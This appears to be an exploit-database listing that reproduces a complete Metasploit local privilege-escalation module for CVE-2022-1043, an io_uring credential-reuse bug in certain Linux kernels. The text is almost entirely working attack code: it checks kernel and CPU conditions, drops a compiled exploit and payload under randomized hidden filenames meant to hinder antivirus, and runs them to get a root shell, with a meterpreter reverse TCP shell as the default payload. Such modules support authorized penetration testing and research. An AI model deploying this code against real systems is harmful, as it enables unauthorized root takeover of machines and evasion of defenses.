io_uring Same Type Object Reuse Privilege Escalation

2023.02.01
Credit: h00die
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking # https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'io_uring Same Type Object Reuse Priv Esc', 'Description' => %q{ This module exploits a bug in io_uring leading to an additional put_cred() that can be exploited to hijack credentials of other processes. We spawn SUID programs to get the free'd cred object reallocated by a privileged process and abuse them to create a SUID root binary ourselves that'll pop a shell. The dangling cred pointer will, however, lead to a kernel panic as soon as the task terminates and its credentials are destroyed. We therefore detach from the controlling terminal, block all signals and rest in silence until the system shuts down and we get killed hard, just to cry in vain, seeing the kernel collapse. The bug affected kernels from v5.12-rc3 to v5.14-rc7. More than 1 CPU is required for exploitation. Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Ryota Shiga', # discovery 'Mathias Krause' # original PoC, analysis ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ], [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ], [ 'URl', 'https://github.com/torvalds/linux/commit/a30f895ad3239f45012e860d4f94c1a388b36d14' ], [ 'CVE', '2022-1043' ] ], 'DisclosureDate' => '2022-03-22', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end # Simplify pulling the writable directory variable def base_dir datastore['WritableDir'].to_s end def check # Check the kernel version to see if its in a vulnerable range release = kernel_release if Rex::Version.new(release.split('-').first) > Rex::Version.new('5.14-rc7') || Rex::Version.new(release.split('-').first) < Rex::Version.new('5.12-rc3') vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end vprint_good "Kernel version #{release} appears to be vulnerable" # make sure we have enough CPUs. Minimum 2 required cpu = get_cpu_info if cpu[:cores] < 2 CheckCode::Safe("> 1 CPU required, detected: #{cpu[:cores]}") end CheckCode::Vulnerable("> 1 CPU required, detected: #{cpu[:cores]}") end def exploit # Check if we're already root if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end # Make sure we can write our exploit and payload to the local system unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable, writing to a random name so AV doesn't have too easy a job executable_name = ".#{rand_text_alphanumeric(5..10)}" executable_path = "#{base_dir}/#{executable_name}" payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" if live_compile? vprint_status 'Live compiling exploit on system...' code = strip_comments(exploit_source('CVE-2022-1043', 'cve-2022-1043.c')) upload_and_compile executable_path, code else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('CVE-2022-1043', 'pre_compiled') end # Upload payload executable upload_and_chmodx payload_path, generate_payload_exe register_files_for_cleanup(payload_path) register_files_for_cleanup(executable_path) timeout = 30 print_status 'Launching exploit...' output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } end end


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